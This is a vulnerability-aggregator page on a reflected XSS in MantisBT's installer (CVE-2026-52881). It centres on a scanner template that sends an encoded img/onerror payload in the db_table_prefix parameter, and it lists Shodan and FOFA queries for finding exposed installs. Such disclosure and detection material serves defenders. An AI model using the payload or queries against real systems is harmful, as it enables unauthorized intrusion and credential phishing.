CVE-2026-52881: MantisBT <= 2.28.3 - Cross-Site Scripting

2026-11-29 PoC Public

Description

MantisBT 2.28.3 and earlier contains a reflected cross-site scripting vulnerability in /admin/install.php. The db_table_prefix, db_table_plugin_prefix and db_table_suffix request parameters are written into the installer form through an unescaped printf format string, so unauthenticated attackers can inject arbitrary HTML into the page.

Details

CVE
CVE-2026-52881 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-52881

info:
  name: MantisBT <= 2.28.3 - Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    MantisBT 2.28.3 and earlier contains a reflected cross-site scripting vulnerability in /admin/install.php. The db_table_prefix, db_table_plugin_prefix and db_table_suffix request parameters are written into the installer form through an unescaped printf format string, so unauthenticated attackers can inject arbitrary HTML into the page.
  impact: |
    Attackers can inject HTML into a trusted MantisBT page to render fake login forms for credential phishing, perform meta refresh open redirects or manipulate the page content.
  remediation: |
    Upgrade to MantisBT 2.28.4 or later, or remove the /admin directory after installation.
  reference:
    - https://github.com/mantisbt/mantisbt/security/advisories/GHSA-vcrw-4xvv-jh49
    - https://github.com/mantisbt/mantisbt/commit/297773fbb238c39a153bd888431b41a176132098
    - https://mantisbt.org/bugs/view.php?id=37103
    - https://nvd.nist.gov/vuln/detail/CVE-2026-52881
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-52881
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: mantisbt
    product: mantisbt
    shodan-query: html:"Administration - Installation - MantisBT"
    fofa-query: title="MantisBT"
  tags: cve,cve2026,mantisbt,xss,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/install.php?install=2&db_type=mysqli&hostname=&db_username={{randstr}}&timezone=UTC&db_table_prefix=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value=""><img src=x onerror=alert(document.domain)>'
          - "Administration - Installation - MantisBT"
          - 'name="db_table_prefix"'
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f436e8be5133e8e94d496ea7a8856deedad21c600f6a29a0f25ef66105ada28e022100a7a625cfc3c53ce739f61ed3cf4126543ab8919d0c8b7b868f3edc6c12a31776:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life